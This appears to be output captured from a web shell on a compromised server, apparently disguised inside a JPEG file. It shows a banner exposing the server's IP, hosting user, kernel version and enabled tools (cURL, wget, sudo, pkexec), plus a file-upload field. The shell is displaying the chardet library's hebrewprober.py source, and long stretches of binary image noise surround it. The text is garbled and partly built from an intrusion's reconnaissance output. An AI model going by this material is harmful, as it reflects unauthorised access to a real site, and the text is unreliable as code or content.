ÿØÿà JFIF ÿþ >CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
ÿÛ C
Server IP : 104.21.29.46 / Your IP : 216.73.216.123 Web Server : Apache System : Linux server1.morocco-tours.com 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64 User : zagoradraa ( 1005) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /lib/python2.7/site-packages/chardet/ |
Upload File : |
| Current File : /lib/python2.7/site-packages/chardet/hebrewprober.py |
######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Universal charset detector code.
#
# The Initial Developer of the Original Code is
# Shy Shalom
# Portions created by the Initial Developer are Copyright (C) 2005
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
# Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301 USA
######################### END LICENSE BLOCK #########################
from .charsetprober import CharSetProber
from .constants import eNotMe, eDetecting
from .compat import wrap_ord
# This prober doesn't actually recognize a language or a charset.
# It is a helper prober for the use of the Hebrew model probers
### General ideas of the Hebrew charset recognition ###
#
# Four main charsets exist in Hebrew:
# "ISO-8859-8" - Visual Hebrew
# "windows-1255" - Logical Hebrew
# "ISO-8859-8-I" - Logical Hebrew
# "x-mac-hebrew" - ?? Logical Hebrew ??
#
# Both "ISO" charsets use a completely identical set of code points, whereas
# "windows-1255" and "x-mac-hebrew" are two different proper supersets of
# these code points. windows-1255 defines additional characters in the range
# 0x80-0x9F as some misc punctuation marks as well as some Hebrew-specific
# diacritics and additional 'Yiddish' ligature letters in the range 0xc0-0xd6.
# x-mac-hebrew defines similar additional code points but with a different
# mapping.
#
# As far as an average Hebrew text with no diacritics is concerned, all four
# charsets are identical with respect to code points. Meaning that for the
# main Hebrew alphabet, all four map the same values to all 27 Hebrew letters
# (including final letters).
#
# The dominant difference between these charsets is their directionality.
# "Visual" directionality means that the text is ordered as if the renderer is
# not aware of a BIDI rendering algorithm. The renderer sees the text and
# draws it from left to right. The text itself when ordered naturally is read
# backwards. A buffer of Visual Hebrew generally looks like so:
# "[last word of first line spelled backwards] [whole line ordered backwards
# and spelled backwards] [first word of first line spelled backwards]
# [end of line] [last word of second line] ... etc' "
# adding punctuation marks, numbers and English text to visual text is
# naturally also "visual" and from left to right.
#
# "Logical" directionality means the text is ordered "naturally" according to
# the order it is read. It is the responsibility of the renderer to display
# the text from right to left. A BIDI algorithm is used to place general
# punctuation marks, numbers and English text in the text.
#
# Texts in x-mac-hebrew are almost impossible to find on the Internet. From
# what little evidence I could find, it seems that its general directionality
# is Logical.
#
# To sum up all of the above, the Hebrew probing mechanism knows about two
# charsets:
# Visual Hebrew - "ISO-8859-8" - backwards text - Words and sentences are
# backwards while line order is natural. For charset recognition purposes
# the line order is unimportant (In fact, for this implementation, even
# word order is unimportant).
# Logical Hebrew - "windows-1255" - normal, naturally ordered text.
#
# "ISO-8859-8-I" is a subset of windows-1255 and doesn't need to be
# specifically identified.
# "x-mac-hebrew" is also identified as windows-1255. A text in x-mac-hebrew
# that contain special punctuation marks or diacritics is displayed with
# some unconverted characters showing as question marks. This problem might
# be corrected using another model prober for x-mac-hebrew. Due to the fact
# that x-mac-hebrew texts are so rare, writing another model prober isn't
# worth the effort and performance hit.
#
#### The Prober ####
#
# The prober is divided between two SBCharSetProbers and a HebrewProber,
# all of which are managed, created, fed data, inquired and deleted by the
# SBCSGroupProber. The two SBCharSetProbers identify that the text is in
# fact some kind of Hebrew, Logical or Visual. The final decision about which
# one is it is made by the HebrewProber by combining final-letter scores
# with the scores of the two SBCharSetProbers to produce a final answer.
#
# The SBCSGroupProber is responsible for stripping the original text of HTML
# tags, English characters, numbers, low-ASCII punctuation characters, spaces
# and new lines. It reduces any sequence of such characters to a single space.
# The buffer fed to each prober in the SBCS group prober is pure text in
# high-ASCII.
# The two SBCharSetProbers (model probers) share the same language model:
# Win1255Model.
# The first SBCharSetProber uses the model normally as any other
# SBCharSetProber does, to recognize windows-1255, upon which this model was
# built. The second SBCharSetProber is told to make the pair-of-letter
# lookup in the language model backwards. This in practice exactly simulates
# a visual Hebrew model using the windows-1255 logical Hebrew model.
#
# The HebrewProber is not using any language model. All it does is look for
# final-letter evidence suggesting the text is either logical Hebrew or visual
# Hebrew. Disjointed from the model probers, the results of the HebrewProber
# alone are meaningless. HebrewProber always returns 0.00 as confidence
# since it never identifies a charset by itself. Instead, the pointer to the
# HebrewProber is passed to the model probers as a helper "Name Prober".
# When the Group prober receives a positive identification from any prober,
# it asks for the name of the charset identified. If the prober queried is a
# Hebrew model prober, the model prober forwards the call to the
# HebrewProber to make the final decision. In the HebrewProber, the
# decision is made according to the final-letters scores maintained and Both
# model probers scores. The answer is returned in the form of the name of the
# charset identified, either "windows-1255" or "ISO-8859-8".
# windows-1255 / ISO-8859-8 code points of interest
FINAL_KAF = 0xea
NORMAL_KAF = 0xeb
FINAL_MEM = 0xed
NORMAL_MEM = 0xee
FINAL_NUN = 0xef
NORMAL_NUN = 0xf0
FINAL_PE = 0xf3
NORMAL_PE = 0xf4
FINAL_TSADI = 0xf5
NORMAL_TSADI = 0xf6
# Minimum Visual vs Logical final letter score difference.
# If the difference is below this, don't rely solely on the final letter score
# distance.
MIN_FINAL_CHAR_DISTANCE = 5
# Minimum Visual vs Logical model score difference.
# If the difference is below this, don't rely at all on the model score
# distance.
MIN_MODEL_DISTANCE = 0.01
VISUAL_HEBREW_NAME = "ISO-8859-8"
LOGICAL_HEBREW_NAME = "windows-1255"
class HebrewProber(CharSetProber):
def __init__(self):
CharSetProber.__init__(self)
self._mLogicalProber = None
self._mVisualProber = None
self.reset()
def reset(self):
self._mFinalCharLogicalScore = 0
self._mFinalCharVisualScore = 0
# The two last characters seen in the previous buffer,
# mPrev and mBeforePrev are initialized to space in order to simulate
# a word delimiter at the beginning of the data
self._mPrev = ' '
self._mBeforePrev = ' '
# These probers are owned by the group prober.
def set_model_probers(self, logicalProber, visualProber):
self._mLogicalProber = logicalProber
self._mVisualProber = visualProber
def is_final(self, c):
return wrap_ord(c) in [FINAL_KAF, FINAL_MEM, FINAL_NUN, FINAL_PE,
FINAL_TSADI]
def is_non_final(self, c):
# The normal Tsadi is not a good Non-Final letter due to words like
# 'lechotet' (to chat) containing an apostrophe after the tsadi. This
# apostrophe is converted to a space in FilterWithoutEnglishLetters
# causing the Non-Final tsadi to appear at an end of a word even
# though this is not the case in the original text.
# The letters Pe and Kaf rarely display a related behavior of not being
# a good Non-Final letter. Words like 'Pop', 'Winamp' and 'Mubarak'
# for example legally end with a Non-Final Pe or Kaf. However, the
# benefit of these letters as Non-Final letters outweighs the damage
# since these words are quite rare.
return wrap_ord(c) in [NORMAL_KAF, NORMAL_MEM, NORMAL_NUN, NORMAL_PE]
def feed(self, aBuf):
# Final letter analysis for logical-visual decision.
# Look for evidence that the received buffer is either logical Hebrew
# or visual Hebrew.
# The following cases are checked:
# 1) A word longer than 1 letter, ending with a final letter. This is
# an indication that the text is laid out "naturally" since the
# final letter really appears at the end. +1 for logical score.
# 2) A word longer than 1 letter, ending with a Non-Final letter. In
# normal Hebrew, words ending with Kaf, Mem, Nun, Pe or Tsadi,
# should not end with the Non-Final form of that letter. Exceptions
# to this rule are mentioned above in isNonFinal(). This is an
# indication that the text is laid out backwards. +1 for visual
# score
# 3) A word longer than 1 letter, starting with a final letter. Final
# letters should not appear at the beginning of a word. This is an
# indication that the text is laid out backwards. +1 for visual
# score.
#
# The visual score and logical score are accumulated throughout the
# text and are finally checked against each other in GetCharSetName().
# No checking for final letters in the middle of words is done since
# that case is not an indication for either Logical or Visual text.
#
# We automatically filter out all 7-bit characters (replace them with
# spaces) so the word boundary detection works properly. [MAP]
if self.get_state() == eNotMe:
# Both model probers say it's not them. No reason to continue.
return eNotMe
aBuf = self.filter_high_bit_only(aBuf)
for cur in aBuf:
if cur == ' ':
# We stand on a space - a word just ended
if self._mBeforePrev != ' ':
# next-to-last char was not a space so self._mPrev is not a
# 1 letter word
if self.is_final(self._mPrev):
# case (1) [-2:not space][-1:final letter][cur:space]
self._mFinalCharLogicalScore += 1
elif self.is_non_final(self._mPrev):
# case (2) [-2:not space][-1:Non-Final letter][
# cur:space]
self._mFinalCharVisualScore += 1
else:
# Not standing on a space
if ((self._mBeforePrev == ' ') and
(self.is_final(self._mPrev)) and (cur != ' ')):
# case (3) [-2:space][-1:final letter][cur:not space]
self._mFinalCharVisualScore += 1
self._mBeforePrev = self._mPrev
self._mPrev = cur
# Forever detecting, till the end or until both model probers return
# eNotMe (handled above)
return eDetecting
def get_charset_name(self):
# Make the decision: is it Logical or Visual?
# If the final letter score distance is dominant enough, rely on it.
finalsub = self._mFinalCharLogicalScore - self._mFinalCharVisualScore
if finalsub >= MIN_FINAL_CHAR_DISTANCE:
return LOGICAL_HEBREW_NAME
if finalsub <= -MIN_FINAL_CHAR_DISTANCE:
return VISUAL_HEBREW_NAME
# It's not dominant enough, try to rely on the model scores instead.
modelsub = (self._mLogicalProber.get_confidence()
- self._mVisualProber.get_confidence())
if modelsub > MIN_MODEL_DISTANCE:
return LOGICAL_HEBREW_NAME
if modelsub < -MIN_MODEL_DISTANCE:
return VISUAL_HEBREW_NAME
# Still no good, back to final letter distance, maybe it'll save the
# day.
if finalsub < 0.0:
return VISUAL_HEBREW_NAME
# (finalsub > 0 - Logical) or (don't know what to do) default to
# Logical.
return LOGICAL_HEBREW_NAME
def get_state(self):
# Remain active as long as any of the model probers are active.
if (self._mLogicalProber.get_state() == eNotMe) and \
(self._mVisualProber.get_state() == eNotMe):
return eNotMe
return eDetecting
$.' ",#(7),01444'9=82<.342ÿÛ C
2!!22222222222222222222222222222222222222222222222222ÿÀ }|" ÿÄ
ÿÄ µ } !1AQa "q2‘¡#B±ÁRÑð$3br‚
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚáâãäåæçèéêñòóôõö÷øùúÿÄ
ÿÄ µ w !1AQ aq"2B‘¡±Á #3RðbrÑ
$4á%ñ&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚâãäåæçèéêòóôõö÷øùúÿÚ ? ÷HR÷j¹ûA <̃.9;r8 íœcê*«ï#k‰a0
ÛZY
²7/$†Æ #¸'¯Ri'Hæ/û]åÊ< q´¿_L€W9cÉ#5AƒG5˜‘¤ª#T8ÀÊ’ÙìN3ß8àU¨ÛJ1Ùõóz]k{Û}ß©Ã)me×úõ&/l“˜cBá²×a“8lœò7(Ï‘ØS ¼ŠA¹íåI…L@3·vï, yÆÆ àcF–‰-ÎJu—hó<¦BŠFzÀ?tãúguR‹u#
‡{~?Ú•£=n¾qo~öôüô¸¾³$õüÑ»jò]Mä¦
>ÎÈ[¢à–?) mÚs‘ž=*{«7¹ˆE5äÒ);6þñ‡, ü¸‰Ç
ýGñã ºKå“ÍÌ Í>a9$m$d‘Ø’sÐâ€ÒÍÎñ±*Ä“+²†³»Cc§ r{
³ogf†Xžê2v 8SþèÀßЃ¸žW¨É5œ*âç&š²–Ûùét“nÝ®›ü%J«{hÉÚö[K†Žy÷~b«6F8 9 1;Ï¡íš{ùñ{u‚¯/Î[¹nJçi-“¸ð Ïf=µ‚ÞÈ®8OÍ”!c H%N@<ŽqÈlu"š…xHm®ä<*ó7•…Á
Á#‡|‘Ó¦õq“êífÛüŸ•oNÚ{ËFý;– ŠÙ–!½Òq–‹væRqŒ®?„ž8ÀÎp)°ÜµŒJ†ÖòQ ó@X÷y{¹*ORsž¼óQaÔçŒ÷qÎE65I
5Ò¡+ò0€y
Ùéù檪ôê©FKÕj}uwkÏ®¨j¤ã+§ýz²{©k¸gx5À(þfÆn˜ùØrFG8éÜõ«QÞjVV®ÉFÞ)2 `vî䔀GÌLsíÅV·I,³åÝ£aæ(ëÐ`¿Â:öàÔL¦ë„‰eó V+峂2£hãñÿ hsŠ¿iVœå4Úœ¶¶šÛ¯»èíäõ¾¥sJ-»»¿ë°³Mw$Q©d†Ü’¢ýÎÀdƒ‘Ž}¾´ˆ·7¢"asA›rŒ.v@ ÞÇj”Y´%Š–·–5\ܲõåË2Hã×°*¾d_(˜»#'<ŒîØ1œuþ!ÜšÍÓ¨ýê—k®¯ÒË®×µûnÑ<²Þ_×õý2· yE‚FÒ **6î‡<ä(çÔdzÓ^Ù7HLð
aQ‰Éàg·NIä2x¦È$o,—ʶÕËd·$œÏ|ò1׿èâÜ&šH²^9IP‘ÊàƒžŸ—åËh7¬tóåó·–º™húh¯D×´©‚g;9`äqÇPqÀ§:ÚC+,Ö³'cá¾ãnÚyrF{sÍKo™ÜÈ÷V‘Bqæ «ä÷==µH,ËÄ-"O ²˜‚׃´–)?7BG9®¸Ðn<ÐWí~VÛò[´×––ÓËU
«~çÿ ¤±t
–k»ËÜÆ)_9ã8È `g=F;Ñç®Ï3¡÷í
ȇ
à ©É½ºcšeÝœ0‘È›‚yAîN8‘üG¿¾$û-í½œÆ9‘í!ˆ9F9çxëøž*o_žIÆÖZò¥ÓºVùöõ¿w¦Ýˆæ•´ÓYÄ®³ËV£êƒæõç?áNòîn.äŽÞ#ÆÖU‘˜ª`|§’H tÇ^=Aq
E6Û¥š9IË–·rrçÿ _žj_ôhí‰D‚vBܤûœdtÆ}@ï’r”šž–ÕìŸ^Êÿ ס:¶ïÿ ò¹5¼Kqq1¾œîE>Xº ‘ÇÌ0r1Œ÷>•2ýž9£©³ûҲ͎›‘ÎXäg¾¼VI?¹*‡äÈ-“‚N=3ÐsÏ¿¾*{™ªù›·4ahKG9êG{©üM]+]¼«Ë¸ Š—mcϱ‚y=yç¶:)T…JÉ>d»$Ýôùnµz2”¢åÍ ¬
¼ÑËsnŠÜ«ˆS¨;yÛÊŽ½=px¥ŠÒæM°=ÕÌi*±€ Þ² 1‘Ž=qŸj†ãQ¾y滊A–,2œcR;ãwáÅfÊÈìT©#æä`žø jšøŒ59¾H·¯VÕÕûëçÚÝyµA9Ó‹Ñ?Çúþºš—QÇ
ÔvòßNqù«¼!点äç¿C»=:Öš#m#bYã†ð¦/(œúŒtè Qž
CÍÂɶž ÇVB ž2ONOZrA
óAÇf^3–÷ÉéÁëÇç\ó«·äƒütéß_-ϦnJ[/Ì|2Ï#[Ù–!’,Oä‘Ç|sVâ±Ô/|´–Iœ˜î$àc®Fwt+Ûø¿zÏTšyLPZ>#a· ^r7d\u ©¢•âÈ3
83…ˆDTœ’@rOéÐW†ÁP”S”Ü£ó[‰ÚߎÚ;éÕNŒW“kîüÊ
¨"VHlí×>ZÜ nwÝÏ ›¶ìqÎ×·Õel¿,³4Æ4`;/I'pxaœÔñ¼";vixUu˜’¸YÆ1×#®:Ž T–ñÒ[{Kwi mð·šÙ99Î cÏ#23É«Ÿ-Þ3ii¶©»ÒW·•×~Ôí£Óúô- »yY Ýå™’8¤|c-ó‚<–þ S#3̉q¡mÜI"«€d cqf üç× #5PÜý®XüØWtîßy¹?yÆs»€v‘ÍY–íüÐUB²(ó0ÈÃ1JªñØÇ¦¢5á%u'e·wÚÍ®¶{m¸¦šÜ³Ð0£‡ˆ³ïB0AÀóž„‘Æz{âšæõüå{k˜c
òÃB `†==‚ŽÜr
Whæ{Ÿ´K%Ô €ÈÇsî9U@ç’p7cŽ1WRÆÖÙ^yàY¥\ï
†b¥°¬rp8'êsÖºáík'ÚK}—•ì£+lì÷44´íòý?«Ö÷0¤I"Ú³.0d)á@fÎPq×€F~ZÕY°3ÙÊ"BA„F$ÊœN Û‚ @(šÞ lÚÒÙbW\ªv±ä‘ŸäNj¼ö³Z’ü´IÀFÃ`¶6à ?!
NxÇÒ©Ò†Oª²½’·ŸM¶{êºjÚqŒ©®èþ
‰ ’&yL%?yÕÔ®$•Ï\p4—:…À—u½ä‘°Ýæ$aCß”$ñŸoÄÙ>TÓù¦ƒÂKÆÅÉ@¹'yè{žÝ4ÍKûcíCì vŽ…y?]Ol©Ê|Íê¾Þ_;üÿ Ï¡Rçånÿ rÔ’[m²»˜¡Ž4ùDŽ›Ë) $’XxËëšY8¹i•†Á!‘þpJ•V^0
Œ±õèi²Å²en%·„†8eeù²Yˆ,S†=?E ×k"·Îbi0„¢Ê¶I=ÎO®:œk>h¿ÝÇKßòON‹K¿2¥uð¯ëúòPÚáf*ny41²ùl»Éž¼ŽIõž*E¸†Ý”FÎSjÌâ%R¹P¿7ÌU‰ôï“UÙlÄ(Dù2´³zª®Á>aŽX
ÇóÒˆ,âžC<B6ì Ü2í|†ç HÏC·#¨®%:ÞÓšÉ7½ÞÎ×ß•èîï—SËšú'ýyÍs±K4!Ì„0óŒ{£Øs÷‚çzŒð¹ã5æHC+Û=¼Í}ygn0c|œðOAô9îkÔ®£ŽÕf™¦»R#copÛICžÃ©þ :ñ^eñ©ðe·”’´ø‘¦f å— # <ò3ïÖ»ðŸ×©Æ¤•Ó½»ï®ß‹·ôµ4ù'ý_ðLO‚òF‹®0 &ܧ˜œ0Œ0#o8ç#ô¯R6Û“yŽ73G¹^2½öò~o»Ÿ›##ÞSðr=ÑkÒ41º €–rØ ÷„ëƒëÎ zõo7"Ýà_=Š©‰Éldà`†qt÷+‹?æxù©%m,ö{.¶jú;%÷hÌ*ß›Uý}Äq¬fp’}¿Í¹ ü¼î
Ïñg$ý*{XLI›•fBÀ\BUzr€Œr#Ѐí¥ÛÍ+²(P”x›$Åè県ž tëÐÕkÖ9‘ab‡Ïò³œã#G'’¼o«U¢ùœ×Gvº4µ¾vÕí}½œ¢ïb{{)¥P’ÊÒº#«B瘀8Êä6GË”dTmV³$g¸i&'r:ƒ¬1œàòœãƒÒ • rñ¤P©ÑØô*IÆ[ ÝÏN¸Î9_³[™#Kr.Fí¤í*IÁ?tÄsÎ û¼T¹h£¦Õµ½ÿ ¯ùÇÊÖú%øÿ Àÿ €=à€£“Èš$|E"žGÌG
÷O#,yÏ©ªÚ…ýž¦\\˜cÄ1³Lˆ2HQ“´¶áŒ ‚:ƒŽ9–å!Š–Í‚É¾F''‘÷yÇNüûãëpÆ|=~¢D•䵕vn2„sÓžGLë
IUP´Uíw®Ú-/mm£²×Ì–ìíeý]? øÑüa¨ÞZÏeki,q‰c10PTpAÜÀg%zSß°2Ĥ¡U]®ØŠÜçžI;€èpx?_øZÊ|^agDóí¹ )ÊžßJö‰¡E]È##ço™NO÷¸ÈÇÌ0¹9>™¯Sˆ°pÃc°ŠI¤÷õ¿å}˯
JñGžÿ ÂÀ+ãdÒc³Qj'ÅØîs&vç6îíŽë»iÞbü” ‚Â%\r9àg·ùÍxuÁüMg~ŸÚÁÎܲçŽ0?*÷WšÝ^O*#†€1èwsÎsùRÏpTp±¢è¾U(«u}íùŠ´R³²ef
À9³bíÝ¿Ùéì ùïíÌóÅ1ý–F‘œ‘åà’9Àç9ëÒ‹)ˆ”©±eÎ c×sù×Î{'ÎâÚõéßuOÁœÜºØ‰fe“e6ñžyäöÀoƧ²‹„•%fˆ80(öåO½Oj…„E€T…%rKz°Î?.;{šXÙ‡ŸeUÚd!üx9þtã%wO_øoòcM-
j–ÒHX_iK#*) ž@Ž{ôǽBd¹‰RÝn–ê0«7ˆìyÀ÷Í@¬Ì¢³³’ 9é÷½?SÙ Þ«Èû²>uàöç'Ê´u\•âÞÎÛùuþ®W5ÖƒÖHY±tÓL B¼}ÞGLñíÏZT¸‘gÙ
ܰÂ
fb6©9þ\ê¸PP¶õ û¼ç·¶;þ‡Û3Ln]¶H®8ÎÀ›@
œü£Ž>o×Þ¢5%kõòü›Nÿ ¨”™,ŸfpÊ×HbRLäÈè‚0 ãž} ªÁ£epFì0'ŽØéÔ÷ì=éT²0•!…Îzt9ç¾?”F&ˆyñ±Œ¨È`ûI #Žç¿J'76èºwï§é«`ÝÞÂ:¼q*2È›þ›€Ã±óçÞ¤û< ˜‚¨ |Ê ã'êFáÇ^qÛŠóÞÁgkqyxÑìL;¼¥² Rx?‡¯Y7PŽwnù¶†û¾Ü·.KÎU»Ù¿ËG±¢µrþ½4+ %EK/Ý
±îuvzTp{{w§Eyvi˜ 0X†Îà:Ë}OçS'šH·Kq*“ˆÕmÃF@\ªN:téÏ^*Á¶¼sn‘“Ž2¢9T.½„\ýò@>˜7NFïNRÓ·wèôßEÕua'¬[þ¾cö¡ÌOæ¦âÅŠ². Ps¸)É
×ô§ÅguÜÜ5ÓDUÈŒË;¼ÙÀÏÒšÖ×F$Š[¬C°FZHUB ÇMø<9ÓœŒUFµwv…®¤#s$‘fLg8QÉÝÉ$që’9®éJ¤ezŠRÞ×’[®éÝú«'®†ÍÉ?zï¶¥³u3(’MSsŽ0Û@9$Ð…-‘ߦO"§gŠ+¢n'k/ ‡“$±-µ°1–éÜôä)®ae ·2ÆŠ¾gÛ°Z¹#€r ¶9Ç|ը⺎ÖIÑÖÜÇ»1Bc.çqÁR àûu®Š^Õ½Smkß}uzëmSòiõÒ<Ï×õ—£Îî6{ˆmŽåVUòãv3ü¤œqЌ瓜ô¶Ô¶¢‹{•
b„ˆg©ù@ÇRTóÅqinÓ·ò×l‡1`¯+òŸ¶ÐqžÀ:fÿ Âi£häÙjz…¬wˆÄË™RI'9n½øãœv®¸ÓmªUÛ•ôI-_kK{ièßvim£Qµý|ÎoÇßìü-~Ú}´j:ÃÍŠ|¸˜¨ó× qŒŒžy®w@øßq%å½¶³imoj0¿h·F;8À,›¹¸üyu¿üO'|;´ðÄÚ¦Œ%:t„Fáß~÷O¿júß©a)ZV”ºÝïëëýjkÞHöfÔ&–î#ö«aðå'Œ’¥\™Il`õ¸9©dûLì ‹t‘ƒ¸ó"Ä€‘Ê7ÈÛŽ:vÜ ¯/ø1â`!»Ñn×Í®ø‹äì‡$¸ ŒqïùzŒ×sFÒ[In%f"û˜‘Œ¹~ps‚9Ærz”Æaþ¯Rq«6õóÛ¦Ýû¯=Ú0i+¹?ÌH¢VŒý®òheIÖr›7îf 8<ó×+žÕç[ÂÖ€]ÇpßoV%v© €pzþgµ6÷3í‹Ì’{²„䈃Œ‚Ìr8Æ1“Áë^{ñqæo
Ø‹–¸2ý|Çܬ¬Žr=;zþ¬ò¼CúÝ*|+[zÛ£³µ×ß÷‘š¨Ûúü®Sø&쬅˜Có[¶âȼ3ûÜ÷<ŒñØæ½WÈŸÌX#“3 "²ºÆ7Œ‘Üc¼‡àìFy5xKJŒ"îç.r@ï×Þ½Ä-ÿ þ“}ª}’*Þ!,Fm¸Î@†9b?1W{Yæ3„`Ú¼VõŠÚÛ_kùöG.mhÎñ ôíhí§Ô$.ƒz*(iFá’I^™$ðMUÓ|áíjéb[ËÆºo•ñDdŽà¸'“ŽA Ö¼ƒGѵ/krG
É–i\ôÉêNHÀÈV—Š>êÞ´ŠúR³ÙÈùÑõLôÜ9Æ{jô?°°Kýš¥WíZ¿V—m6·E}{X~Æ?
zžÓæ8Ë¢“«¼
39ì~¼ûÒÍ}žu-ëÇ•cÉåmÀÀÉ9Àsþ ”økâŸí]:[[ÍÍyhª¬w•BN vÏ$ôé‘Íy‹ü@þ"×ç¹ ¨v[Ƽ* ã zœdžµâàxv½LT¨T•¹7jÿ +t×ð·CP—5›=Î
¨/"i¬g¶‘#7kiÃç±'x9#Ž}êano!òKD‘ílï”('¿SÔð?c_;¬¦’–ÚŠ¥ÅªËÌ3®ï¡ÿ 9¯oðW‹gñ‡Zk›p÷6€[ÊáUwŸ˜nqŽq€qFeÃÑÁÃëêsS[ù;ùtÒÚjžú]§<:¼ž‡“x,½—ެ¡êÆV€…þ"AP?ãÛ&£vÂÅ»I’FÙ8ÛžÀ”œ¾ÜRÜ̬ŠÛÓ‘–Ä*›qôúŸÃAÀëßí-L¶š-™ƒµ¦i”øÿ g«|è*pxF:nžî˯޼¿þBŒÛQþ¿C»Š5“*]Qÿ „±À>Ý:ôä*D(cXÚ(†FL¡‰`çØÏ;þ5âR|Gñ#3î`„0+µmÑ€ún Þ£ÿ …‰â¬¦0 –¶ˆœ€¹…{tø?ʯ(_çþ_Š5XY[¡Ù|Q¿ú
µŠ2︛sO* Бÿ ×â°<+à›MkÂ÷š…ij
·Ü–ˆ«ò‚?ˆœúäc½øåunû]¹Iïåè› ç ¯[ð&©¥Ýxn;6>}²’'`IË0ÁèN}zö5éâ©âr\¢0¥ñs^Ml¿«%®ýM$¥F•–ç‘Øj÷Ze¦£k
2¥ô"FqÀ`„~5Ùü+Ò¤—QºÕ†GÙ—Ë‹ çqä°=¶ÏûÔÍcá¶¡/ˆ¤[ý†iK ™°"ó•Æp;`t¯MÑt}+@²¶Óí·Ídy’3mÕË‘’zc€0 íyÎq„ž ¬4×5[_]Rë{]ì¬UZ±p÷^åØÞÈ[©&OúÝÛ‚‚s÷zžIïßó btÎΪ\ya¾U;C¤t*IÎFF3Џ™c
1žYD…U° êÄàõë\oŒ¼a ‡c[[GŽãP‘7 â znÈ>Ãü3ñ˜,=lUENŒäô¾ÚÀÓ[_ð9 œ´JçMy©E¢Àí}x,bpAó¦üdcûŒW9?Å[Há$¿¹pÄ™#^9O88©zO=«Ë!µÖüY¨³ªÍy9ûÒ1 úôÚ»M?àô÷«ÞëÖ–ÙMÌ#C&ßnJ“Üp#Ђ~²†G–àíekϵío»_žŸuΨQ„t“ÔÛ²øáû›´W6»Øoy FQÎr $Óõìk¬„‹ïÞÚ¼sÆíòÉ67\míÎyF¯ð¯TÓã’K;ë[ð·ld«7üyíšÉ𯊵 êáeYžÏq[«&vMÀðßFà}p3ÅgW‡°8ØßVín›þšõ³¹/ ü,÷ií|’‘´R,®ŠÉ‡W“Ž1ØöëÓ¾xžÖÞ¹xÞݬXZGù\’vŒž˜ÆsØúÓïí&ÒÒ{]Qž9£Ê¡ù·ÄÀ»¶áHäž™5—ìö« -&ù¤U<±ÉÆA>½ý+æg
jžö륢þNÛ=÷JÖÛfdÔ õýËúû‹ÓØB²¬fInZ8wÌÉЮ~aƒÎ=3ìx‚+/¶äÁlŠ‚?™Æü#8-œ\pqTZXtè%»»&ÚÝ#´ŠðÜžã§Í’¼{p·ß{m>ÞycP¨’¼¢0ú(Rƒë^Ž ñó¼(»y%m´ÕÙ}ÊûékB1¨þÑ®,#Q)ó‡o1T©ÜÃ*Ž‹‚yö<b‰4×H€“ìÐ.
¤²9ÌŠ>„Žãøgšñ
¯Š~)¸ßå\ÛÛoBŒa·L²œg$‚Iã¯ZÈ—Æ~%”äë—È8â)Œcƒ‘Âàu9¯b%)ÞS²¿Ïïÿ 4Öºù}Z/[H%¤vÉ#Ì’x§†b
© ³´tÜ{gn=iï%õªÇç]ܧ—!åw„SÓp ·VÈÏ¡?5Âcâb¥_ĤŠz¬—nàþÖΟñKÄöJé=ÌWèêT‹¸÷qÎჟ•q’zWUN«N/ØO^Ÿe|í¾©k{üõ4öV^ïù~G¹êzÂèº|·÷×[’Þ31†rpjg·n
Æ0Ý}kåË‹‰nîe¹ËÍ+™ÏVbrOç]'‰¼o®xÎh`¹Ç*±ÙÚ!T$d/$žN>¼WqᯅZ9ÑÒO\ÜÛê1o&,-z ~^NCgNÕéá)ÒÊ©7‰¨¯'Õþ¯þ_¿Ehîþóâ €ï¬uÛûý*ÎK9ä.â-öv<²‘×h$àãúW%ö¯~«g-ÕõÀàG~>Zú¾Iš+(šM³ Û#9äl%ðc¬ ûÝ xÖKG´x®|¸¤Ï™O:Ê8Ã’qÉcÔä‚yÇNJyËŒTj¥&µOmztjÿ ?KëaµÔù¯áýóXøãLeb¾tžAÇû`¨êGBAõ¾•:g˜’ù·,þhÀ`¬qÜ` e·~+å[±ý“âYÄjWì—µHé±ø?Nõô>½âX<5 Ç©ÏѼM¶8cܪXŽÉ^r?¼IróÈS•ZmÇ›™5»òÚÚ7ïu«&|·÷•Ά
>[©ÞXHeS$Œyà€ ÷ù²:ò2|óãDf? Z¼PD¶ÓßC(xÆ0|©ßR;ôMsÿ µ´ÔVi¬,͹›Ìxâi˜`¹,GAéÇlV§ÄýF×Yø§ê–‘:Ã=ò2³9n±ÉžØÏ@yÎWžæ±Ãàe„ÄÒN ]ïòêìú_Go'¦ŽÑ’_×õЯðR66þ!›ÑÄ gFMÙ— äžäqôÈ;ÿ eX<#%»Aö‰ãR¤ Í”Ž¹È G&¹Ÿƒ&á?¶Zˆ±keRè Kãnz·ãŠÕøÄÒÂ9j%@®×q±ÜŒý[õ-É$uíè&¤¶9zÇï·Oøï®ÄJKšÖìdü"µˆ[jײÎc;ã…B(g<9nàȯG½µŸPÓ.´Éfâ¼FŽP
31 ‘ÏR}<3šä~
Ã2xVöî Dr
Ç\›}Ý#S÷ÈÀëŽHÆI®à\OçKuäI¹†ó(”—GWî ñ³¹¸æ2¨›‹ºÚû%¾ýÖ_3ºNú¯ëúì|ÕÅÖ‰}ylM’ZËîTÿ á[ðÐñ/ˆ9Àû
¸ón3 Mòd‘÷ döª^.Êñް›BâîNp>cëÏçÍzïÃôÏ
